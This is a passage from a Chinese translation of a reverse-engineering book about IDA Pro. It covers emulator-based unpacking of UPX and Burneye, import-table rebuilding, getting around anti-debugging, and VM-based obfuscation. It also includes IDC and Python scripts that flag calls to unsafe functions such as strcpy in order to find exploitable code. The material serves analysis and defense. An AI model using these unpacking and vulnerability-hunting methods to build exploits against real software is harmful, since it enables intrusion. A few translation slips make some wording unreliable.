LOAD:0537109E jl loc_53710AB
LOAD:053710A4 xor eax, eax
LOAD:053710A6 jmp loc_53710B5


将此列表与示例 21-2 进行比较,很明显,由于去混淆过程,指令已经发生了变化。在初始去混淆之后,程序执行从`pushf`指令![httpatomoreillycomsourcenostarchimages854061.png](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)在`loc_5371090`处恢复。

模拟器辅助去混淆显然比之前遵循的基于脚本的去混淆过程要容易得多。开发模拟器方法所花费的时间以高度灵活的去混淆替代方案回报,而开发针对 Burneye 的特定脚本所花费的时间则以一个非常专业的脚本回报,这种脚本在其他去混淆场景中几乎无用。

注意,虽然前一个示例中的 Burneye 受保护的二进制文件是 Linux ELF 二进制文件,但 x86emu 在模拟二进制文件中的指令时没有问题,因为它们都是 x86 指令,无论它们是从哪个操作系统和文件类型中提取的。x86emu 可以像在 Windows PE 二进制文件上一样轻松使用,例如本章前面讨论的 UPX 示例。由于当今绝大多数混淆恶意软件都是针对 Windows 平台的,x86emu 包含许多针对 Windows PE 二进制文件的具体功能(如前所述)。

使用模拟器解压 UPX 二进制文件非常简单。应将模拟器启动,并将光标定位在程序入口点(`start`)。接下来,可以将光标移动到 UPX 导入表的第一条指令,重建循环(地址`0040886Ch`在示例 21-1),然后可以使用“运行到光标”命令允许模拟器运行。此时,二进制文件已被解包,可以使用字符串窗口查看 UPX 将用于构建程序导入表的所有解包库和函数名称。如果模拟器逐步执行示例 21-1 的代码,最终会遇到以下函数调用:

UPX1:00408882 call dword ptr [esi+808Ch]


这类指令模拟可能很危险,因为指令可能指向的位置并不立即明显(意味着`call`指令的目标地址不明显)。一般来说,函数调用可以指向两个地方:程序代码(`.text`)段内的函数或程序使用的共享库内的函数。每当遇到`call`指令时,模拟器都会确定目标地址是否位于正在分析文件的虚拟地址空间内,或者目标地址是否与二进制文件加载的某个库导出的函数相关。回想一下,对于 PE 二进制文件,模拟器会加载正在分析的二进制文件加载的所有库的导出字典。当模拟器确定`call`指令的目标地址超出了二进制文件的边界时,模拟器会扫描已加载到数据库中的导出表,以确定正在调用的库函数。对于 Windows PE 文件,模拟器包含模拟实现表 21-1 中列出的函数。

当模拟器确定这些函数之一已被调用时,它会从程序堆栈中读取任何参数,并执行实际函数在程序实际运行时本应执行的动作,或者执行一些最小动作并生成一个看起来正确的返回值,从被模拟程序的角度看。在`stdcall`函数的情况下,模拟器在完成模拟函数之前会正确地移除任何堆栈参数。

表 21-1. x86emu 模拟的函数

| `CheckRemoteDebuggerPresent` | `GetTickCount` | `LocalFree` | `VirtualAlloc` |
| --- | --- | --- | --- |
| `CreateThread` | `GetVersion` | `NtQuerySystemInformation` | `VirtualFree` |
| `GetCurrentThreadId` | `HeapAlloc` | `NtQueryInformationProcess` | `calloc` |
| `GetCurrentProcess` | `HeapCreate` | `NtSetInformationThread` | `free` |
| `GetCurrentProcessId` | `HeapDestroy` | `RtlAllocateHeap` | `lstrcat` |
| `GetModuleHandleA` | `HeapFree` | `TlsAlloc` | `lstrcpy` |
| `GetProcAddress` | `IsDebuggerPresent` | `TlsFree` | `lstrlen` |
| `GetProcessHeap` | `LoadLibraryA` | `TlsGetValue` | `malloc` |
| `GetThreadContext` | `LocalAlloc` | `TlsSetValue` | `realloc` |

对于与堆相关的函数的仿真行为,会导致仿真器操作其内部堆实现(由`.heap`部分支持)并返回一个适合被仿真程序写入数据的地址。例如,`HeapAlloc`仿真版本返回的值是一个适合被仿真程序写入数据的地址。当调用`VirtualAlloc`仿真版本时,在数据库中创建一个新的部分来表示新映射的虚拟地址空间。`IsDebuggerPresent`仿真版本始终返回 false。当仿真`LoadLibraryA`时,仿真器通过检查提供给`LoadLibraryA`的堆栈参数来提取正在加载的库的名称。然后仿真器尝试在本地系统上打开该命名的库,以便将该库的导出表加载到数据库中,并返回一个适当的库句柄^([183])给调用者。当拦截`GetProcAddress`调用时,仿真器检查堆栈上的参数以确定正在引用哪个共享库;然后仿真器解析库的导出表以计算请求的函数的正确内存地址,然后将该地址返回给调用者。`LoadLibraryA`和`GetProcAddress`的调用会在 IDA 输出窗口中记录。

当调用 x86emu 没有内部仿真的函数时,会显示一个类似于图 21-8 所示的对话框。

知道被调用的函数的名称后,仿真器查询 IDA 的类型库信息以获取函数所需的参数数量和类型。然后仿真器深入程序堆栈以显示传递给函数的所有参数,包括参数的类型和参数的形式参数名称。只有当从 IDA 获取类型信息时,才会显示参数类型和名称。对话框还允许用户指定返回值,以及指定函数使用的调用约定(此信息可能来自 IDA)。当选择`stdcall`调用约定时,用户应指明在调用完成后应从堆栈中移除多少个参数(而不是字节数)。为了使仿真器在仿真函数调用之间保持执行堆栈的完整性,需要此信息。

![x86emu 库函数对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854336.png.jpg)

图 21-8. x86emu 库函数对话框

返回到 UPX 解混淆示例,并允许模拟器完成导入表重建循环,我们会在 IDA 的输出窗口中找到以下输出:

x86emu: LoadLibrary called: KERNEL32.DLL (7C800000)
x86emu: GetProcAddress called: ExitProcess (0x7C81CDDA)
x86emu: GetProcAddress called: ExitThread (0x7C80C058)
x86emu: GetProcAddress called: GetCurrentProcess (0x7C80DDF5)
x86emu: GetProcAddress called: GetCurrentThread (0x7C8098EB)
x86emu: GetProcAddress called: GetFileSize (0x7C810A77)
x86emu: GetProcAddress called: GetModuleHandleA (0x7C80B6A1)
x86emu: GetProcAddress called: CloseHandle (0x7C809B47)


此输出提供了被混淆的二进制文件加载的库以及混淆程序解析这些库中函数的记录.^([184]) 当以这种方式查找函数地址时,它们通常会被保存在一个数组中(这个数组是程序的导入表),以供以后使用。

解混淆程序的一个基本问题是它们缺少通常在未混淆的二进制文件中存在的符号表信息。当一个二进制文件的导入表完整时,IDA 的 PE 加载器会根据将在运行时包含的函数的名称来命名导入表中的每个条目。当遇到混淆的二进制文件时,将函数名称应用于存储函数地址的每个位置是有用的。在 UPX 的情况下,示例 21-1 中的以下行显示了函数地址是如何在每次通过函数查找循环时保存到内存中的:

UPX1:00408897 call dword ptr [esi+8090h] ; GetProcAddress
UPX1:0040889D or eax, eax
UPX1:0040889F jz short loc_4088A8
UPX1:004088A1 mov [ebx], eax ; Save to import table
UPX1:004088A3 add ebx, 4


地址为`004088A1h`的指令 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 负责将函数地址存储到导入表中,当它被重建时。只要可以识别出这样的指令,x86emu 就提供了一个自动命名每个导入表条目的功能。模拟器将此类指令称为*导入地址保存点*,你可以使用“模拟”▸“Windows”▸“设置导入地址保存点”菜单选项将地址指定为这样的点。为了使此功能正常工作,必须在执行指令之前进行此指定。指定之后,每次模拟此指令时,模拟器都会执行查找以确定正在写入的数据引用了哪个函数,然后使用导入函数的名称命名正在写入的地址。在 UPX 示例中,不努力清理导入表将产生以下(部分)导入表:

UPX0:00406270 dd 7C81CDDAh
UPX0:00406274 dd 7C80C058h
UPX0:00406278 dd 7C80DDF5h
UPX0:0040627C dd 7C8098EBh


然而,当指定导入地址保存点时执行的自动命名会产生以下自动生成的(部分)导入表。

UPX0:00406270 ; void __stdcall ExitProcess(UINT uExitCode)
UPX0:00406270 ExitProcess dd 7C81CDDAh ; DATA XREF: j_ExitProcess↑r
UPX0:00406274 ; void __stdcall ExitThread(DWORD dwExitCode)
UPX0:00406274 ExitThread dd 7C80C058h ; DATA XREF: j_ExitThread↑r
UPX0:00406278 ; HANDLE __stdcall GetCurrentProcess()
UPX0:00406278 GetCurrentProcess dd 7C80DDF5h ; DATA XREF: j_GetCurrentProcess↑r
UPX0:0040627C ; HANDLE __stdcall GetCurrentThread()
UPX0:0040627C GetCurrentThread dd 7C8098EBh ; DATA XREF: j_GetCurrentThread↑r


以这种方式重建导入表后,IDA 能够使用从其类型库中提取的参数类型信息正确注释对库函数的调用,从而显著提高了反汇编的整体质量。

### 额外的 x86emu 功能

模拟器包含一些你可能觉得有用的附加功能。以下列表详细说明了这些功能的一些能力。

| **文件** ▸ **导出** 此菜单选项允许用户指定要导出到文件中的数据库地址范围。默认情况下,范围从当前光标位置扩展到数据库中存在的最大虚拟地址。 |
| --- |
| **文件** ▸ **导出嵌入式 PE** 许多恶意软件包含嵌入式可执行文件,它们会在目标系统上安装。此菜单选项在当前光标位置查找有效的 PE 文件,解析文件的头部以确定文件大小,然后从数据库中提取字节到一个保存的文件中。 |
| **查看** ▸ **枚举堆** 此菜单选项会导致仿真器将分配的堆块列表导出到输出窗口,如下所示: |

x86emu: Heap Status ---
0x5378000-0x53781ff (0x200 bytes)
0x5378204-0x5378217 (0x14 bytes)
0x537821c-0x5378347 (0x12c bytes)


| **仿真** ▸ **切换线程** 当在 Windows PE 文件中进行仿真时,x86emu 会拦截对 `CreateThread` 函数的调用,并为管理新线程分配额外的资源。因为仿真器没有自己的调度器,所以如果您想在多个线程之间切换,必须使用此菜单选项。 |
| --- |
| **函数** ▸ **分配堆块** 此菜单选项允许用户在仿真堆中预留一块内存。用户会被询问要预留的块的大小。新预留的块的地址会报告给用户。当仿真过程中需要临时空间时,此功能非常有用。 |
| **函数** ▸ **分配堆栈块** 此菜单选项允许用户在仿真堆栈中预留一块内存。其行为类似于函数 ▸ 分配堆栈块。 |

### x86emu 和反调试

虽然仿真器并非旨在用作调试器,但它必须为被仿真的程序模拟运行时环境。为了成功仿真许多混淆的二进制文件,仿真器必须避免成为活跃的反调试技术的受害者。仿真器的几个功能是考虑到反调试而设计的。

一种反调试技术通过使用 x86 `rdtsc`指令来测量时间间隔,以确保程序没有被调试器暂停。`rdtsc`指令用于读取内部 *时间戳计数器(TSC)* 的值,并返回一个表示自处理器上次重置以来时钟滴答数的 64 位值。TSC 增加的速率在不同类型的 CPU 之间有所不同,但大致为每个内部 CPU 时钟周期一次。调试器无法停止 TSC 的增加,因此可以通过测量两次连续调用`rdtsc`之间的 TSC 差异来确定程序是否被停止了过长时间。x86emu 维护一个内部 TSC,它在每次仿真指令时都会增加。因为仿真 TSC 仅受仿真指令的影响,所以使用`rdtsc`之间的实际时间间隔多少并不重要。在这种情况下,观察到的值之间的差异将始终大致与`rdtsc`调用之间仿真的指令数成比例,并且应该足够小,以使仿真程序相信没有附加调试器。

故意使用异常是另一种必须由仿真器处理的反调试技术。仿真器包含非常基本的模拟 Windows 结构化异常处理(SEH)过程行为的能力。当仿真程序是 Windows PE 二进制文件时,仿真器通过构造 SEH `CONTEXT`结构、通过`fs:[0]`遍历异常处理程序列表来定位当前异常处理程序,并将控制权转移到已安装的异常处理程序来响应异常或软件中断。当异常处理程序返回时,仿真器从`CONTEXT`结构(可能已在异常处理程序中操作)恢复 CPU 状态。

最后,x86emu 仿真了 x86 硬件调试寄存器的行为,但并不使用这些寄存器在仿真程序中设置断点。如前所述,仿真器在执行每条指令之前维护一个用户指定的断点列表,并对其进行扫描。在 Windows 异常处理程序中对调试寄存器的任何操作都不会干扰仿真器的操作。

* * *

^([180]) EAX 寄存器的低 8 位也被称为 AL 寄存器。

^([181]) 请参阅 [`www.idabook.com/examples/chapter21/`](http://www.idabook.com/examples/chapter21/) 以获取此类示例之一。

^([182]) IDA 附带了一个插件,可以通过 IDA 的调试接口与开源 Bochs 仿真器进行接口。请参阅第二十四章至第二十六章以获取更多信息。第二十四章 第二十六章。

^([183]) Windows 库句柄在 Windows 进程中唯一标识一个库。一个 *库句柄* 实际上是库加载到内存中的基本地址。

^([184]) 一旦程序使用 `GetProcAddress` 找到函数的地址,程序就可以在任何时候使用返回的地址调用该函数。以这种方式查找函数地址消除了在构建时显式链接到函数的需求,并减少了静态分析工具(如 dumpbin)可以提取的信息量。

# 基于虚拟机的混淆

在本章前面提到(在 指令码混淆 中 指令码混淆),一些最复杂的混淆器使用自定义字节码和相关的虚拟机重新实现了它们接收到的程序。当面对以这种方式混淆的二进制文件时,你可能会看到的唯一原生代码就是虚拟机。假设你认识到你正在查看一个软件虚拟机,全面理解所有这些代码通常无法揭示混淆程序的真正目的。这是因为程序的行为仍然隐藏在虚拟机必须解释的嵌入式字节码中。要完全理解程序,你必须首先找到所有嵌入式字节码,其次,逆向工程虚拟机的指令集,这样你才能正确解释字节码的意义。

通过比较,想象一下你对 Java 一无所知,有人给你一个 Java 虚拟机和包含编译后字节码的 *.class* 文件,并问你它们做了什么。在没有任何文档的情况下,你对字节码文件的理解几乎为零,你需要完全逆向虚拟机来学习 *.class* 文件的结构以及如何解释其内容。在理解了字节码机器语言之后,你就可以继续理解 *.class* 文件了。

VMProtect 是一个利用非常复杂的基于虚拟机的混淆技术的商业产品的例子。作为一个更偏向学术的练习,TheHyper 的 HyperUnpackMe2 挑战二进制文件是使用虚拟机进行混淆的一个相当直接的例子,主要挑战在于定位虚拟机嵌入的字节码程序并确定每个字节码的含义。在他的关于 OpenRCE 描述 HyperUnpackMe2 的文章中,Rolf Rolles 的方法是完全理解虚拟机,以便构建一个能够反汇编其字节码的处理器模块。这个处理器模块然后使他能够反汇编挑战二进制文件中嵌入的字节码。这种方法的一个小限制是,它允许你查看 HyperUnpackme2 中的 x86 代码(使用 IDA 的 x86 模块)或虚拟机代码(使用 Rolle 的处理器模块),但不能同时查看两者。这迫使你创建两个不同的数据库,每个数据库使用不同的处理器模块。另一种方法利用了通过使用插件来定制现有处理器模块的能力(参见定制现有处理器),有效地允许你扩展指令集以包括嵌入虚拟机的所有指令。将这种方法应用于 HyperUnpackMe2 允许我们在单个数据库中一起查看 x86 代码和虚拟机代码,如下面的列表所示:

TheHyper:01013B2F h_pop.l R9
TheHyper:01013B32 h_pop.l R7
TheHyper:01013B35 h_pop.l R5
TheHyper:01013B38 h_mov.l SP, R2
TheHyper:01013B3C h_sub.l SP, 0Ch
TheHyper:01013B44 h_pop.l R2
TheHyper:01013B47 h_pop.l R1
TheHyper:01013B4A h_retn 0Ch
TheHyper:01013B4A sub_1013919 endp
TheHyper:01013B4A
TheHyper:01013B4A ; ----------------------------------------------------------
TheHyper:01013B4D dd 24242424h
TheHyper:01013B51 dd 0A9A4285Dh ; TAG VALUE
TheHyper:01013B55
TheHyper:01013B55 ; ============ S U B R O U T I N E =========================
TheHyper:01013B55
TheHyper:01013B55 ; Attributes: bp-based frame
TheHyper:01013B55
TheHyper:01013B55 sub_1013B55 proc near ; DATA XREF: TheHyper:0103AF7A?o
TheHyper:01013B55
TheHyper:01013B55 var_8 = dword ptr −8
TheHyper:01013B55 var_4 = dword ptr −4
TheHyper:01013B55 arg_0 = dword ptr 8
TheHyper:01013B55 arg_4 = dword ptr 0Ch
TheHyper:01013B55
TheHyper:01013B55 push ebp
TheHyper:01013B56 mov ebp, esp
TheHyper:01013B58 sub esp, 8
TheHyper:01013B5B mov eax, [ebp+arg_0]
TheHyper:01013B5E mov [esp+8+var_8], eax
TheHyper:01013B61 mov [esp+8+var_4], 0
TheHyper:01013B69 push 4
TheHyper:01013B6B push 1000h


在这里,从 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 开始的代码被反汇编为 HyperUnpackMe2 字节码,而随后的代码在 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 处显示为 x86 代码。

Hex-Rays 预测到了同时显示原生代码和字节码的能力,在 IDA 5.7 中引入了自定义数据类型和格式。当 IDA 的内置格式选项无法满足您的需求时,自定义数据格式非常有用。通过指定(使用脚本或插件)格式和执行格式的函数的菜单名称,可以注册新的格式功能。一旦为数据项选择了一个自定义格式,IDA 就会在需要显示该数据项时调用您的格式化函数。当 IDA 的内置数据类型不足以表示您在特定二进制文件中遇到的数据时,自定义数据类型非常有用。与自定义格式一样,自定义数据类型也是通过脚本或插件注册的。Hex-Rays 的示例注册了一个自定义数据类型来指定虚拟机字节码,并使用自定义数据格式将每个字节码显示为一条指令。这种方法的一个缺点是,它要求您找到每个虚拟机指令并显式更改其数据类型。使用自定义处理器扩展,将单个值指定为虚拟机指令会自动导致发现每个可到达的指令,因为 IDA 驱动反汇编过程,处理器扩展通过其自定义 _emu 实现发现新的可到达指令。

* * *

^([185]) 请参阅“使用 IDA 处理器模块击败 HyperUnpackMe2”文章,链接:[`www.openrce.org/articles/full_view/28`](http://www.openrce.org/articles/full_view/28).

# 摘要

在当今的恶意软件中,混淆程序是常态而非例外。任何试图研究恶意软件样本内部操作的行为几乎肯定需要某种类型的去混淆。无论您是采用调试器辅助的动态去混淆方法,还是更倾向于不运行可能有害的代码,而是使用脚本或仿真来去混淆您的二进制文件,最终目标都是生成一个去混淆的二进制文件,以便可以完全反汇编并进行适当的分析。在大多数情况下,这种最终分析将使用像 IDA 这样的工具来完成。鉴于这个最终目标(使用 IDA 进行分析),从开始到结束尝试使用 IDA 是有意义的。本章中介绍的技术旨在证明 IDA 能够做到远不止生成反汇编列表。在第二十五章(Chapter 25)中,我们将重新审视混淆代码,并探讨如何利用 IDA 的调试功能作为去混淆工具。

# 第二十二章. 漏洞分析

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

在我们深入本章内容之前,我们需要明确一点:IDA 不是一个漏洞发现工具。我们就是这样说的;多么令人欣慰!IDA 在某些人的心目中似乎获得了神秘的品质。人们常常有一种印象,认为只需用 IDA 打开一个二进制文件,就能揭示宇宙的所有秘密,恶意软件的行为将被 IDA 自动生成的注释完全解释,漏洞将以红色突出显示,如果你在某个神秘的复活节彩蛋激活序列中单脚站立并右键点击,IDA 将自动生成漏洞利用代码。

虽然 IDA 确实是一个非常强大的工具,但没有一个聪明的用户坐在键盘前(也许还有一套方便的脚本和插件),它实际上只是一个反汇编器/调试器。作为一个静态分析工具,它只能帮助你尝试定位软件漏洞。最终,是否使 IDA 使你的漏洞搜索更容易,取决于你的技能以及你如何应用它们。根据我们的经验,IDA 并不是定位新漏洞的最佳工具^([186]), 但一旦发现漏洞,与调试器结合使用时,它就是可用的最佳工具之一,用于辅助开发漏洞利用。

在过去的几年里,IDA 在发现现有漏洞方面承担了新的角色。起初,在考虑了我们对这些漏洞的了解以及谁知道这些漏洞之后,搜索已知漏洞可能看起来有些不寻常。在闭源、仅二进制软件的世界里,供应商经常发布软件补丁,而不透露具体修复了什么以及为什么修复。通过在新补丁版本和旧未修补版本的同一种软件之间进行差异分析,可以隔离二进制中发生变化的区域。在假设这些更改是出于某种原因的情况下,这种差异分析技术实际上有助于突出以前易受攻击的代码序列。通过这样缩小搜索范围,任何具备相应技能的人都可以为未修补的系统开发漏洞利用程序。事实上,鉴于微软众所周知的“补丁星期二”发布更新周期,大量的安全研究人员准备每个月都坐下来做这件事。

考虑到关于这个主题有整本书,我们不可能在一本关于 IDA 的书中用一章来公正地处理漏洞分析。我们将假设读者熟悉一些关于软件漏洞的基本概念,例如缓冲区溢出,并讨论一些使用 IDA 搜索、分析和最终为这些漏洞开发漏洞利用程序的方法。

# 使用 IDA 发现新漏洞

漏洞研究人员采取了许多不同的方法来发现软件中的新漏洞。当源代码可用时,可以利用越来越多的自动化源代码审计工具来突出显示程序中的潜在问题区域。在许多情况下,此类自动化工具只会指出低垂的果实,而发现更深层次的漏洞可能需要广泛的手动审计。

执行自动化二进制审计的工具提供了与自动化源代码审计工具相同的许多报告功能。自动化二进制分析的一个明显优势是不需要访问应用程序的源代码。因此,可以对仅提供二进制文件的封闭源代码程序进行自动化分析。Veracode^([188])是一家提供基于订阅服务的企业,用户可以向 Veracode 的专有二进制分析工具提交二进制文件进行分析。虽然不能保证此类工具可以在二进制中找到任何或所有漏洞,但这些技术使二进制分析对寻求对其使用的软件有一定信心的一般用户变得可行。

无论是在源代码级别还是二进制级别进行审计,基本的静态分析技术包括审计使用有问题的函数,如`strcpy`和`sprintf`,审计使用由动态内存分配例程(如`malloc`和`VirtualAlloc`)返回的缓冲区,以及审计通过函数(如`recv`、`read`、`fgets`等)接收到的用户输入的处理。在数据库中定位此类调用并不困难。例如,要追踪所有对`strcpy`的调用,我们可以执行以下步骤:

1.  找到`strcpy`函数。

1.  通过将光标置于`strcpy`标签上,然后选择**查看** ▸ **打开子视图** ▸ **交叉引用**来显示所有对`strcpy`函数的交叉引用。

1.  访问每个交叉引用,并分析提供给`strcpy`的参数,以确定是否可能发生缓冲区溢出。

第 3 步可能需要大量的代码和数据流分析来理解函数调用的所有潜在输入。希望这样的任务的复杂性是显而易见的。第 1 步,尽管看起来很简单,可能需要你付出一点努力。定位`strcpy`可能就像使用“跳转 ▸ 跳转到地址”命令(G)并输入要跳转到的地址`strcpy`一样简单。在 Windows PE 二进制文件或静态链接的 ELF 二进制文件中,这通常就足够了。然而,在其他二进制文件中,可能需要额外的步骤。在动态链接的 ELF 二进制文件中,使用跳转命令可能不会直接带你到所需函数。相反,它可能带你到`extern`部分的条目(这涉及到动态链接过程)。以下是 IDA 在`extern`部分中`strcpy`条目的表示:

extern:804DECC extrn strcpy:near ; CODE XREF: _strcpy↑j
extern:804DECC ; DATA XREF: .got:off_804D5E4↑o


为了混淆问题,这个位置看起来根本不叫`strcpy`(实际上它叫,但名字缩进),并且指向这个位置的唯一代码交叉引用![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)是从一个看起来命名为`_strcpy`的函数跳转过来的,同时从`.got`部分也有数据交叉引用指向这个位置。引用函数实际上命名为`.strcpy`,但从显示中并不明显。在这种情况下,IDA 将点字符替换为下划线,因为 IDA 默认不认为点是有效的标识符字符。双击代码交叉引用会带我们到程序中`strcpy`的进程链接表(`.`plt`)条目,如下所示:

.plt:08049E90 _strcpy proc near ; CODE XREF: decode+5F↓p
.plt:08049E90 ; extract_int_argument+24↓p ...
.plt:08049E90 jmp ds:off_804D5E4
.plt:08049E90 _strcpy endp


如果我们追踪数据交叉引用,最终会到达这里显示的`strcpy`对应的`.got`条目:

.got:0804D5E4 off_804D5E4 dd offset strcpy ; DATA XREF: _strcpy↑r


在`.got`条目中,我们遇到了另一个指向`.plt`部分`.strcpy`函数的数据交叉引用。在实践中,跟随数据交叉引用是从`extern`部分导航到`.plt`部分的最可靠方法。在动态链接的 ELF 二进制文件中,函数通过进程链接表间接调用。现在我们已经到达了`.`plt`,我们可以调出对`_strcpy`(实际上是`.strcpy`)的交叉引用,并开始审计每个调用(在这个例子中至少有两个)。

当我们有一系列常见的函数调用列表,希望定位和审计这些调用时,这个过程可能会变得繁琐。此时,开发一个能够自动定位并注释所有有趣函数调用的脚本可能是有用的。有了注释,我们可以执行简单的搜索,从一个审计位置移动到另一个位置。此类脚本的基础是一个能够可靠地定位另一个函数的函数,以便我们可以定位对该函数的所有交叉引用。在前面的讨论中,我们获得了对 ELF 二进制文件的理解,示例 22-1 中的 IDC 函数接受一个函数名作为输入参数,并返回一个适合交叉引用迭代的地址。

[示例 22-1. 查找函数的可调用地址]

static getFuncAddr(fname) {
auto func = LocByName(fname);
if (func != BADADDR) {
auto seg = SegName(func);
//what segment did we find it in?
if (seg == "extern") { //Likely an ELF if we are in "extern"
//First (and only) data xref should be from got
func = DfirstB(func);
if (func != BADADDR) {
seg = SegName(func);
if (seg != ".got") return BADADDR;
//Now, first (and only) data xref should be from plt
func = DfirstB(func);
if (func != BADADDR) {
seg = SegName(func);
if (seg != ".plt") return BADADDR;
}
}
}
else if (seg != ".text") {
//otherwise, if the name was not in the .text section, then we
// don't have an algorithm for finding it automatically
func = BADADDR;
}
}
return func;
}


使用提供的返回地址,现在可以追踪到所有我们希望审计的函数的引用。示例 22-2 中的 IDC 函数利用前一个示例中的`getFuncAddr`函数来获取函数地址,并在所有调用该函数的位置添加注释。

[示例 22-2. 标记指定函数的调用]

static flagCalls(fname) {
auto func, xref;
//get the callable address of the named function
func = getFuncAddr(fname);
if (func != BADADDR) {
//Iterate through calls to the named function, and add a comment
//at each call
for (xref
= RfirstB(func); xref != BADADDR; xref = RnextB(func, xref)) {
if (XrefType() == fl_CN || XrefType() == fl_CF) {
MakeComm(xref, "*** AUDIT HERE ");
}
}
//Iterate through data references to the named function, and add a
//comment at reference
for
(xref = DfirstB(func); xref != BADADDR; xref = DnextB(func, xref)) {
if (XrefType() == dr_O) {
MakeComm(xref, "
AUDIT HERE ***");
}
}
}
}


一旦找到了所需函数的地址 ![http://atomoreilly.com/source/nostarch/images/854061.png],就使用两个循环来迭代该函数的交叉引用。在第一个循环 ![http://atomoreilly.com/source/nostarch/images/854063.png],在调用感兴趣函数的每个位置插入注释。在第二个循环 ![http://atomoreilly.com/source/nostarch/images/854093.png],在获取函数地址的每个位置插入额外的注释(使用偏移交叉引用类型)。第二个循环是必要的,以便追踪以下风格的调用:

.text:000194EA mov esi, ds:strcpy
.text:000194F0 push offset loc_40A006
.text:000194F5 add edi, 160h
.text:000194FB push edi
.text:000194FC call esi


在这个例子中,编译器已将`strcpy`函数的地址缓存到 ESI 寄存器 ![http://atomoreilly.com/source/nostarch/images/854061.png],以便在程序稍后使用更快的调用方式 ![http://atomoreilly.com/source/nostarch/images/854063.png]。这里显示的`call`指令执行速度更快,因为它既小(2 字节)且不需要额外的操作来解析调用目标,因为地址已经包含在 CPU 的 ESI 寄存器中。编译器可能会选择生成此类代码,当某个函数多次调用另一个函数时。

考虑到这个例子中调用的间接性,我们示例中的`flagCalls`函数可能只能看到对`strcpy`的数据交叉引用 ![图片](http://atomoreilly.com/source/nostarch/images/854061.png),而无法看到对`strcpy`的调用 ![图片](http://atomoreilly.com/source/nostarch/images/854063.png),因为`call`指令并没有直接引用`strcpy`。然而,在实践中,IDA 具有在这些情况下执行一些有限的数据流分析的能力,并可能生成以下所示的汇编代码:

.text:000194EA mov esi, ds:strcpy
.text:000194F0 push offset loc_40A006
.text:000194F5 add edi, 160h
.text:000194FB push edi
.text:000194FC call esi ; strcpy


注意,`call`指令 ![图片](http://atomoreilly.com/source/nostarch/images/854061.png) 已经被注释,表明 IDA 认为正在调用哪个函数。除了插入注释外,IDA 还从调用点添加了一个代码交叉引用到被调用的函数。这有利于`flagCalls`函数,因为在这种情况下,`call`指令将通过代码交叉引用被找到并注释。

为了完成我们的示例脚本,我们需要一个`main`函数,该函数调用我们感兴趣审计的所有函数的`flagCalls`。本节前面提到的某些函数的调用注释的简单示例如下:

static main() {
flagCalls("strcpy");
flagCalls("strcat");
flagCalls("sprintf");
flagCalls("gets");
}


运行此脚本后,我们可以通过搜索插入的注释文本`*** AUDIT ***`从一个有趣的调用跳转到下一个。当然,这仍然留下了很多分析方面的工作要做,因为仅仅因为程序调用了`strcpy`并不意味着该程序可利用。这正是数据流分析发挥作用的地方。为了了解对`strcpy`的特定调用是否可利用,您必须确定传递给`strcpy`的参数,并评估这些参数是否可以被操纵以获得您的优势。

数据流分析是一项比仅仅找到对问题函数的调用要复杂得多的任务。为了在静态分析环境中跟踪数据的流动,需要对所使用的指令集有一个彻底的了解。您的静态分析工具需要理解寄存器可能被赋予的值以及这些值如何可能改变并传播到其他寄存器。此外,您的工具需要一种确定程序中引用的源和目标缓冲区大小的手段,这反过来又需要理解堆栈帧和全局变量的布局,以及推断动态分配的内存块大小的能力。当然,所有这些都是在实际上不运行程序的情况下尝试的。

创意脚本所能完成的有趣示例之一是 Halvar Flake 创建的 BugScam^([189]) 脚本。BugScam 使用与前面示例类似的技术来定位对问题函数的调用,并在每个函数调用处执行基本的数据流分析。BugScam 分析的结果是一个二进制文件中潜在问题的 HTML 报告。以下是一个由 `sprintf` 分析生成的示例报告表:

| 地址 | 严重性 | 描述 |
| --- | --- | --- |
| 8048c03 | 5 | 数据的最大扩展似乎大于目标缓冲区;这可能是缓冲区溢出的原因!最大扩展:1053。目标大小:1036。 |

在这种情况下,BugScam 能够确定输入和输出缓冲区的大小,当与格式字符串中包含的格式说明符结合使用时,用于确定生成输出的最大大小。

开发此类脚本需要深入了解各种漏洞类别,以便开发一个可以通用地应用于大量二进制文件的算法。缺乏这种知识,我们仍然可以开发脚本(或插件),使我们能够比手动查找答案更快地回答简单问题。

作为最后的例子,考虑定位所有包含堆分配缓冲区的函数的任务,因为这些函数可能容易受到基于堆的缓冲区溢出攻击。而不是手动滚动数据库,我们可以开发一个脚本来分析每个函数的堆栈帧,寻找占用大量空间的变量。示例 22-3 中的 Python 函数遍历给定函数堆栈帧中定义的成员,寻找大小大于指定最小大小的变量。

示例 22-3. 扫描堆分配缓冲区

def findStackBuffers(func_addr, minsize):
prev_idx = −1
frame = GetFrame(func_addr)
if frame == −1: return #bad function
idx = 0
prev = None
while idx < GetStrucSize(frame):
member = GetMemberName(frame, idx)
if member is not None:
if prev_idx != −1:
#compute distance from previous field to current field
delta = idx - prev_idx
if delta >= minsize:
Message("%s: possible buffer %s: %d bytes\n" %
(GetFunctionName(func_addr), prev, delta))
prev_idx = idx
prev = member
idx = idx + GetMemberSize(frame, idx)
else:
idx = idx + 1


